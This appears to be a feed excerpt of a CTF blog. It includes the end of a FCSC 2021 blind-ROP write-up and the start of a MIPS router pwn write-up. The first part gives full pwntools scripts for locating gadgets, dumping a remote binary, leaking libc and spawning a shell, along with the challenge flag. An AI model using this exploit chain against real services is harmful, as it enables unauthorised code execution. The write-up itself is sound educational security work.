[0x4006b6] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x06@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x4006b8] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb8\x06@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x4006bd] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbd\x06@\x84(\xad\xfb\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x4006c2] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc2\x06@What is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x4006c7] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc7\x06@What is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x4006cc] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcc\x06@Bye!\n&apos;
[0x4006d1] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd1\x06@\x84(\xad\xfb\n&apos;
[0x4006d6] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x06@&apos;
[0x4006db] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdb\x06@&apos;
[0x4006e2] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe2\x06@&apos;
[0x4006e3] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe3\x06@&apos;
[0x4006e5] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe5\x06@&apos;
[0x4006e6] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x06@&apos;
[0x40073b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\x07@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400742] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaB\x07@&apos;
[0x400743] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC\x07@&apos;
[0x400758] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX\x07@&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we read carefully, we can notice the &lt;code&gt;[0x400668] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x06@&amp;gt;&amp;gt;&amp;gt; &apos;&lt;/code&gt; gadget.
It&apos;s a very good stop gadget because it&apos;s the only gadget which prints: &lt;code&gt;Thanks + padding + return_address_upto_null_byte + &amp;gt;&amp;gt;&amp;gt; &lt;/code&gt;.
And so for our attack we will use it.&lt;/p&gt;
&lt;h3&gt;Brop gadget&lt;/h3&gt;
&lt;p&gt;Since we got the stop gadget, everything is easier. We just have to scan the .text of the remote binary to find the brop gadget which is basically the end of the csu in most of the binaries. It&apos;s easy to find because it&apos;s a pop of six qword like that:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So we use a &lt;code&gt;probe + trap * 6 + stop + trap*20&lt;/code&gt; payload to find these kinf od gadgets.
And so here is the script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def unpadd(s):
    return s.split(b&quot;\x00&quot;)[0]

def is_stop(s, ip, padding):
    return (ip not in STOP_GADGETS) and (s == b&quot;Thanks &quot; + padding + unpadd(p64(ip)) + b&quot;&amp;gt;&amp;gt;&amp;gt; &quot;) 

def try_jmp(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp

def find_brop(padding):
    base = 0x400000

    for i in range(0, 0x2000):
        buf = padding + p64(base + i) + p64(0xdeadbeef) * 6 + p64(STOP_GADGETS[0])
        resp = try_jmp(buf)
        if is_stop(resp, base+i, padding):
            print(f&quot;Output: {resp}, leak: {hex(int.from_bytes(p64(base + i), &apos;little&apos;))}&quot;)
            break

        if not i % 35:
            print(f&quot;_ - {hex(i)}&quot;)

    return base + i

find_brop(&quot;a&quot;*40)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which returns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py
_ - 0x0
_ - 0x23
_ - 0x46
_ - 0x69
_ - 0x8c
_ - 0xaf
_ - 0xd2
_ - 0xf5
_ - 0x118
_ - 0x13b
_ - 0x15e
_ - 0x181
_ - 0x1a4
_ - 0x1c7
_ - 0x1ea
_ - 0x20d
_ - 0x230
_ - 0x253
_ - 0x276
_ - 0x299
_ - 0x2bc
_ - 0x2df
_ - 0x302
_ - 0x325
_ - 0x348
_ - 0x36b
_ - 0x38e
_ - 0x3b1
_ - 0x3d4
_ - 0x3f7
_ - 0x41a
_ - 0x43d
_ - 0x460
_ - 0x483
_ - 0x4a6
_ - 0x4c9
_ - 0x4ec
_ - 0x50f
_ - 0x532
_ - 0x555
_ - 0x578
_ - 0x59b
_ - 0x5be
_ - 0x5e1
_ - 0x604
_ - 0x627
_ - 0x64a
_ - 0x66d
_ - 0x690
_ - 0x6b3
_ - 0x6d6
_ - 0x6f9
_ - 0x71c
Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\x07@&amp;gt;&amp;gt;&amp;gt; &apos;, leak: 0x40073a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we got this gadget we can control &lt;code&gt;rdi&lt;/code&gt; and &lt;code&gt;rsi&lt;/code&gt; because of some misaligned instructions !&lt;/p&gt;
&lt;h3&gt;Procedure linkage table (PLT)&lt;/h3&gt;
&lt;p&gt;The next step would be to leak the PLT to see if there is a puts, printf, or write functions.
To find the PLT there is three rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The addresses of each stub are 16 bytes aligned&lt;/li&gt;
&lt;li&gt;If we jmp one time on a candidate we can check it&apos;s a PLT entry by jumping at &lt;code&gt;entry+6&lt;/code&gt; which is the address of the slowpath jump in the GOT. And so the behaviour should be the same.&lt;/li&gt;
&lt;li&gt;We can give arguments like valid pointers in &lt;code&gt;rdi&lt;/code&gt; and &lt;code&gt;rsi&lt;/code&gt; to identify functions like puts, strcmp etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I used so a payload&apos;s structure like this: &lt;code&gt;padding + POP_RDI + 0x400000 + POP_RSI_R15 + 0x400000 + probe + stop + trap&lt;/code&gt;
That&apos;s how I developped this function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7

def unpadd(s):
    return s.split(b&quot;\x00&quot;)[0]

def is_stop(s, ip, padding):
    return (ip not in STOP_GADGETS) and (s == b&quot;Thanks &quot; + padding + unpadd(p64(ip)) + b&quot;&amp;gt;&amp;gt;&amp;gt; &quot;) 

def try_jmp(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp

def find_plt(padding):
    base = 0x400000 
    s = 0 

    for i in range(0x0, 0x3000, 0x10):
        resp1 = try_jmp(padding + p64(POP_RDI) + p64(0x400000) + p64(POP_RSI_R15) + p64(0x400000)*2 + p64(base+i) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef)) # I used the base address because it&apos;s an recognizable pattern

        if is_stop(resp1, base+i, padding):
            print(f&quot;Output: {resp1.hex()}, leak: {hex(int.from_bytes(p64(base + i), &apos;little&apos;))}&quot;)

        elif len(resp1):
            print(f&quot;[{hex(base+i)}] Out: {resp1.hex()}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we got this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py
[0x400500] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307407f454c460201010a3e3e3e20
[0x400510] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307407f454c460201013e3e3e20
[0x400520] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400570] Out: 5468616e6b73204141414141414141414141414141414141414141414141414141414141414141414141414141414143074048656c6c6f20796f752e0a5768617420697320796f7572206e616d65203f0a3e3e3e20
[0x4005d0] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400610] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400630] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400640] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x4006e0] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
[0x400750] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Awesome ! We got a leak of the binary in two gadgets !&lt;/p&gt;
&lt;h3&gt;Leaking the binary&lt;/h3&gt;
&lt;p&gt;Since we can leak an arbitrary location it&apos;s really easier !
We can see that the patter which leaks is like: &lt;code&gt;Thanks + padding + unpadd(p64(POP_RDI)) + leak_upto_null_byte&lt;/code&gt;.
So we can leak all the binary from the base address:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;STOP_GADGETS = [0x400668]
POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7

def unpadd(s):
    return s.split(b&quot;\x00&quot;)[0]

def try_jmp(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp

def dump_binary(padding, base):
    gadget_leak = 0x400510
    i = 0 
    buf = b&quot;&quot;

    pattern = b&quot;Thanks &quot; + padding + unpadd(p64(POP_RDI))

    f = open(&quot;leet_dump.bin&quot;, &quot;ab&quot;)

    while base+i &amp;lt; 0x400fff: # guessed end to the binary .text
        resp1 = try_jmp(padding + p64(POP_RDI) + p64(base+i) + p64(POP_RSI_R15) + p64(0x0)*2 + p64(gadget_leak) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))

        if not len(resp1): # somtimes there is no repsonse
            continue

        leak = resp1[len(pattern):resp1.index(b&apos;&amp;gt;&amp;gt;&amp;gt; &apos;)] # get the leaked part
        
        if not len(leak): # if no leak it means it&apos;s a null byte
            buf += b&quot;\x00&quot;
            print(f&quot;[*] recv @ {hex(base+i)}: 0x00&quot;)
            i += 1
        else: # else we got raw data leaked
            buf += leak
            print(f&quot;[*] recv @ {hex(base+i)}: {leak.hex()}&quot;)

            i = i + len(leak)

        if len(buf) &amp;gt;= 0x100: # we write bytes to the file each 0x100 bytes
            f.write(buf)
            buf = b&quot;&quot;
            print(&quot;Buffering ..&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because of my connection I have to relaunch the script with a different base address to dump the whole binary but anyway, it works !&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py
[skip]
[*] recv @ 0x400fff: 0x00
STOP: &amp;lt;class &apos;KeyboardInterrupt&apos;&amp;gt;
$ ./solve.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we dumped the binary we just need to build a classic ropchain by leaking the address of &lt;code&gt;FFLUSH&lt;/code&gt; in the GOT and then compute the base address of the libc. It&apos;s interesting to see that we don&apos;t know what libc it is. So we can use &lt;a href=&quot;https://libc.blukat.me/&quot;&gt;this&lt;/a&gt; to find from the offset of fflush and read, the right version. Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__libc_start_main 	0x021a50 	0x0
system 	0x041490 	0x1fa40
fflush 	0x069ab0 	0x48060
open 	0x0db950 	0xb9f00
read 	0x0dbb90 	0xba140
write 	0x0dbbf0 	0xba1a0
str_bin_sh 	0x1633e8 	0x141998
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Put everything together&lt;/h2&gt;
&lt;p&gt;I&apos;ll no detail a lot the final part because it&apos;s a basic rop payload. But since we got the right gadgets from the leaked binary, it&apos;s very easy. We have to notice that this exploit is not 100% reiable, if the address of FFLUSH in the GOT has a NULL byte the exploit will not work. Here is the final function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;STOP_GADGETS = [0x400668]

CSU_POP = 0x40073a
POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7

GADGET_LEAK = 0x400510
FFLUSH_GOT = 0x400000 + 0x200FF0
FFLUSH_OFFSET = 0x069ab0
OFFT_BINSH = 0x1633e8

SYSTEM = 0x041490

def try_jmp_flow(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp, io

def flow(padding):
    payload = padding
    payload += p64(POP_RDI)
    payload += p64(FFLUSH_GOT)
    payload += p64(POP_RSI_R15) + p64(0xffffffffffffffff)*2
    payload += p64(GADGET_LEAK)
    payload += p64(0x400000 + 0x656) # ret2main

    pattern = b&quot;Thanks &quot; + padding + unpadd(p64(POP_RDI))
    resp_tmp, io = try_jmp_flow(payload)
    print(resp_tmp)
    leak_fflush = int.from_bytes(resp_tmp[len(pattern):resp_tmp.index(b&apos;What is&apos;)], &apos;little&apos;)

    libc = leak_fflush - FFLUSH_OFFSET 
    print(f&quot;libc @ {hex(libc)}&quot;)

    payload = padding
    payload += p64(POP_RDI)
    payload += p64(libc + OFFT_BINSH)
    payload += p64(libc + SYSTEM)

    io.send(payload)
    io.interactive()

flow(&quot;a&quot;*40)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And when we run it, we got a shell yeeeeeah !&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py
b&apos;Thanks AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC\x07@\xb0J\xa2\xd7&amp;lt;\x7fWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
libc @ 0x7f3cd79bb000
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
FCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the final script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3
from pwn import *

STOP_GADGETS = [0x400668]

CSU_POP = 0x40073a
POP_RDI = CSU_POP+0x9
POP_RSI_R15 = CSU_POP+0x7

GADGET_LEAK = 0x400510
FFLUSH_GOT = 0x400000 + 0x200FF0
FFLUSH_OFFSET = 0x069ab0
OFFT_BINSH = 0x1633e8

SYSTEM = 0x041490 

&quot;&quot;&quot;
__libc_start_main 	0x021a50 	0x0
system 	0x041490 	0x1fa40
fflush 	0x069ab0 	0x48060
open 	0x0db950 	0xb9f00
read 	0x0dbb90 	0xba140
write 	0x0dbbf0 	0xba1a0
str_bin_sh 	0x1633e8 	0x141998
&quot;&quot;&quot;

context.log_level = &apos;error&apos;

def start():
    return remote(&quot;challenges2.france-cybersecurity-challenge.fr&quot;, 4008)

def padd(s):
    return s + b&quot;\x00&quot;*(8-(len(s) % 8))

def unpadd(s):
    return s.split(b&quot;\x00&quot;)[0]

def is_crash(s):
    return not (len(s) == 0)

def is_stop(s, ip, padding):
    return (ip not in STOP_GADGETS) and (s == b&quot;Thanks &quot; + padding + unpadd(p64(ip)) + b&quot;&amp;gt;&amp;gt;&amp;gt; &quot;)

def jmp(av):
    io = start()
    io.write(av)
    return io.recvall(timeout=5.0)

def find_padding(p=b&quot;&quot;):
    padding = p + b&quot;\x90&quot;
    print(f&quot;[*] sending: {padding}&quot;)
    resp = jmp(padding)
    print(f&quot;[*] recv: {resp}&quot;)
    while b&quot;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks &quot; + padding in resp:
        return find_padding(p=padding)
    return padding[:len(padding)-1] # minus one char because we do not want that padding overwrite the return address

def leak2(padding: str, leak1=b&quot;&quot;):
    for i in range(256):
        buf = padding + leak1 + p8(i)
        resp = try_jmp(buf)
        # print(f&quot;Trying on {hex(int.from_bytes(leak1+p8(i), &apos;little&apos;) &amp;lt;&amp;lt; (64 - counter*8))}&quot;)
        if len(resp):
            print(f&quot;[{hex(int.from_bytes(padd(leak1+p8(i)), &apos;little&apos;))}] Output: {resp}&quot;)
            if len(leak1) &amp;lt; 8:
                leak2(padding, leak1=leak1+p8(i))
            else:
                return leak1

    return leak1

def leak2_opti(padding: str):
    base = 0x400000

    for i in range(0x2000):
        buf = padding + p64(base+i)
        resp = try_jmp(buf)
        # print(f&quot;Trying on {hex(int.from_bytes(leak1+p8(i), &apos;little&apos;) &amp;lt;&amp;lt; (64 - counter*8))}&quot;)
        if len(resp):
            print(f&quot;[{hex(base+i)}] Output: {resp}&quot;)
            continue

    return leak1

def find_brop(padding):
    base = 0x400000

    for i in range(0, 0x2000):
        buf = padding + p64(base + i) + p64(0xdeadbeef) * 6 + p64(STOP_GADGETS[0])
        resp = try_jmp(buf)
        if is_stop(resp, base+i, padding):
            print(f&quot;Output: {resp}, leak: {hex(int.from_bytes(p64(base + i), &apos;little&apos;))}&quot;)
            break

        if not i % 35:
            print(f&quot;_ - {hex(i)}&quot;)

    return base + i

def dump_binary(padding, base):
    gadget_leak = 0x400510
    i = 0 
    buf = b&quot;&quot;

    pattern = b&quot;Thanks &quot; + padding + unpadd(p64(POP_RDI))

    f = open(&quot;leet_dump.bin&quot;, &quot;ab&quot;)

    while base+i &amp;lt; 0x400fff:
        resp1 = try_jmp(padding + p64(POP_RDI) + p64(base+i) + p64(POP_RSI_R15) + p64(0x0)*2 + p64(gadget_leak) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))

        if not len(resp1):
            continue

        leak = resp1[len(pattern):resp1.index(b&apos;&amp;gt;&amp;gt;&amp;gt; &apos;)]
        
        if not len(leak):
            buf += b&quot;\x00&quot;
            print(f&quot;[*] recv @ {hex(base+i)}: 0x00&quot;)
            i += 1
        else:
            buf += leak
            print(f&quot;[*] recv @ {hex(base+i)}: {leak.hex()}&quot;)

            i = i + len(leak)
        
        if len(buf) &amp;gt;= 0x100:
            f.write(buf)
            buf = b&quot;&quot;
            print(&quot;Buffering ..&quot;)

def find_plt(padding):
    base = 0x400000 
    s = 0 

    for i in range(0x0, 0x3000, 0x10):
        resp1 = try_jmp(padding + p64(POP_RDI) + p64(0x400000) + p64(POP_RSI_R15) + p64(0x400000)*2 + p64(base+i) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef)) 

        if is_stop(resp1, base+i, padding):
            print(f&quot;Output: {resp1.hex()}, leak: {hex(int.from_bytes(p64(base + i), &apos;little&apos;))}&quot;)

        elif len(resp1):
            print(f&quot;[{hex(base+i)}] Out: {resp1.hex()}&quot;)

def try_jmp(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp

def try_jmp_flow(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp, io

def flow(padding):
    payload = av
    payload += p64(POP_RDI)
    payload += p64(FFLUSH_GOT)
    payload += p64(POP_RSI_R15) + p64(0xffffffffffffffff)*2
    payload += p64(GADGET_LEAK)
    payload += p64(0x400000 + 0x656) # ret2main

    pattern = b&quot;Thanks &quot; + padding + unpadd(p64(POP_RDI))
    resp_tmp, io = try_jmp_flow(payload)
    print(resp_tmp)
    leak_fflush = int.from_bytes(resp_tmp[len(pattern):resp_tmp.index(b&apos;What is&apos;)], &apos;little&apos;)

    libc = leak_fflush - FFLUSH_OFFSET 
    print(f&quot;libc @ {hex(libc)}&quot;)

    payload = av
    payload += p64(POP_RDI)
    payload += p64(libc + OFFT_BINSH)
    payload += p64(libc + SYSTEM)

    io.send(payload)
    io.interactive()

flow(&quot;a&quot;*40)
# FCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thanks to the creator of this very interesting challenge !&lt;/p&gt;
</content:encoded></item><item><title>[FCSC 2021 - pwn] Itsy Mipsy router</title><link>https://n4sm.github.io/posts/mipsy/</link><guid isPermaLink="true">https://n4sm.github.io/posts/mipsy/</guid><pubDate>Mon, 03 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Itsy Mipsy Router (200 pts)&lt;/h1&gt;
&lt;p&gt;Itsy Mipsy Router is a pwn challenge I did during the &lt;a href=&quot;https://www.france-cybersecurity-challenge.fr&quot;&gt;FCSC event&lt;/a&gt;.
It&apos;s not a very hard challenge but I found it very interesting because it was my first mips pwn challenge !&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;p&gt;So basically we got this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;On vous demander d&apos;auditer un routeur à l&apos;interface entre Internet et un réseau interne d&apos;une entreprise. Le client vous demande si il est possible de lire les fichiers stockés sur la machine filer qui sert de serveur de fichiers HTTP.
nc challenges2.france-cybersecurity-challenge.fr 4005&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And for debugging purposes administrators provided a Docker file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM debian:buster-slim
RUN apt update
RUN apt install -yq socat qemu-user libc6-mips64-cross
RUN apt clean
RUN rm -rf /var/lib/apt/lists/

WORKDIR /app
COPY ./mipsy ./
RUN rm /etc/ld.so.cache

EXPOSE 4000
EXPOSE 1234
CMD socat tcp-listen:4000,reuseaddr,fork exec:&quot;qemu-mips64 -L /usr/mips64-linux-gnuabi64 ./mipsy&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So because it&apos;s not very convenient to debug it from the docker I tried to run it directly on my host with a gdb stub on port 5445. I setup my host by installing the right packages, deleting &lt;code&gt;/etc/ld.so.cache&lt;/code&gt; and by the socat command on port 4000:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uname -a
Linux off 5.8.0-50-generic #56~20.04.1-Ubuntu SMP Mon Apr 12 21:46:35 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ sudo apt install socat qemu-user libc6-mips64-cross
Lecture des listes de paquets... Fait
Construction de l&apos;arbre des dépendances       
Lecture des informations d&apos;état... Fait
socat est déjà la version la plus récente (1.7.3.3-2).
libc6-mips64-cross est déjà la version la plus récente (2.30-0ubuntu2cross2).
qemu-user est déjà la version la plus récente (1:4.2-3ubuntu6.15).
0 mis à jour, 0 nouvellement installés, 0 à enlever et 17 non mis à jour.
$ sudo rm -f /etc/ld.so.cache
$ socat tcp-listen:4000,reuseaddr,fork exec:&quot;qemu-mips64 -L /usr/mips64-linux-gnuabi64 -g 5445 ./mipsy&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can debug the running process with gdb-multiarch (with the path of my pwndbg&apos;s gdbinit to get an cleaner output).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gdb-multiarch -ex &apos;source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.py&apos; -q ./mipsy
Reading symbols from ./mipsy...
(No debugging symbols found in ./mipsy)
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg&amp;gt; target remote localhost:5445

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To send the payload  I used &lt;a href=&quot;https://github.com/Gallopsled/pwntools&quot;&gt;pwntools&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

def start():
    # return remote(&quot;challenges2.france-cybersecurity-challenge.fr&quot;, 4005)
    return remote(&quot;localhost&quot;, 4000)

io = start()
print(io.recvuntil(&quot;] &quot;).decode(&apos;utf-8&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we launch the python script to trigger the socat:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python3 wu.py                                                               
[+] Opening connection to localhost on port 4000: Done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It does not return anything because it breaks in the shared libraries I guess, so now we can continue the execution in gdb:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Remote debugging using localhost:5445
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x00000040008038d0 in ?? ()
Could not check ASLR: Couldn&apos;t get personality
Downloading &apos;/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy&apos; from the remote server: OK
add-symbol-file /tmp/tmpsjb8mqsa/mipsy 0x120000000 -s .MIPS.abiflags 0x2400002e0 -s .MIPS.options 0x2400002f8 -s .note.gnu.build-id 0x240000870 -s .dynamic 0x240000898 -s .hash 0x240000aa8 -s .dynsym 0x240001190 -s .dynstr 0x240002858 -s .gnu.version 0x240003b12 -s .gnu.version_r 0x240003cf8 -s .rel.dyn 0x240003d38 -s .init 0x240003d58 -s .text 0x240003de0 -s .MIPS.stubs 0x2400257a0 -s .fini 0x2400259c0 -s .rodata 0x240025a10 -s .interp 0x24002d280 -s .eh_frame_hdr 0x24002d290 -s .eh_frame 0x24002d2a8 -s .note.ABI-tag 0x24002d2e0 -s .ctors 0x24003df58 -s .dtors 0x24003df68 -s .data.rel.ro 0x24003df78 -s .data 0x240040000 -s .rld_map 0x240040020 -s .got 0x240040030 -s .sdata 0x240040840 -s .bss 0x240040850
&apos;context&apos;: Print out the current register, instruction, and stack context.
Exception occurred: context: unsupported operand type(s) for +: &apos;NoneType&apos; and &apos;int&apos; (&amp;lt;class &apos;TypeError&apos;&amp;gt;)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
pwndbg&amp;gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
       0x120000000        0x12002e000 r-xp    2e000 0      /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy
       0x12002e000        0x12003d000 ---p     f000 2d000  /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy
       0x12003d000        0x120040000 r--p     3000 2d000  /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy
       0x120040000        0x120043000 rw-p     3000 30000  /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ctf/fcsc/pwn/mipsy/mipsy
      0x4000403000       0x4000828000 r--p   425000 0      &amp;lt;explored&amp;gt;
      0x40007fe000       0x4000801000 rw-p     3000 0      [stack]

[QEMU target detected - vmmap result might not be accurate; see `help vmmap`]
pwndbg&amp;gt; continue
Continuing.
warning: Could not load shared library symbols for 2 libraries, e.g. /lib/libc.so.6.
Use the &quot;info sharedlibrary&quot; command to see the complete listing.
Do you need &quot;set solib-search-path&quot; or &quot;set sysroot&quot;?
[Inferior 1 (process 1) exited normally]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The process exited because we didn&apos;t inserted any breakpoints and so our python script outs this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+---------------------------------+
|/                               \|
|        ITSY MIPSY ROUTER        |
|\                               /|
+---------------------------------+

Menu:
  0. Quit.
  1. Show network interfaces
  2. Ping internal HTTP file server
  3. Log in as admin

[guest@mipsy] 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&apos;re able to debug properly our process !&lt;/p&gt;
&lt;h2&gt;Reverse Engineering&lt;/h2&gt;
&lt;p&gt;We can take a look at the binary by running the file command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ file mipsy                                                                  
mipsy: ELF 64-bit MSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), dynamically linked, interpreter /lib64/ld.so.1, BuildID[sha1]=e20cf7872e96482095ce68e6d4d03806d5928de4, for GNU/Linux 3.2.0, not stripped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So it&apos;s a mips64 big endian binary dynamically linked. As we see above, the program is asking for an input among 4 options: Quit, Show network interfaces, Ping internal HTTP file server and Login as admin. We can test these options remotely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+---------------------------------+
|/                               \|
|        ITSY MIPSY ROUTER        |
|\                               /|
+---------------------------------+

Menu:
  0. Quit.
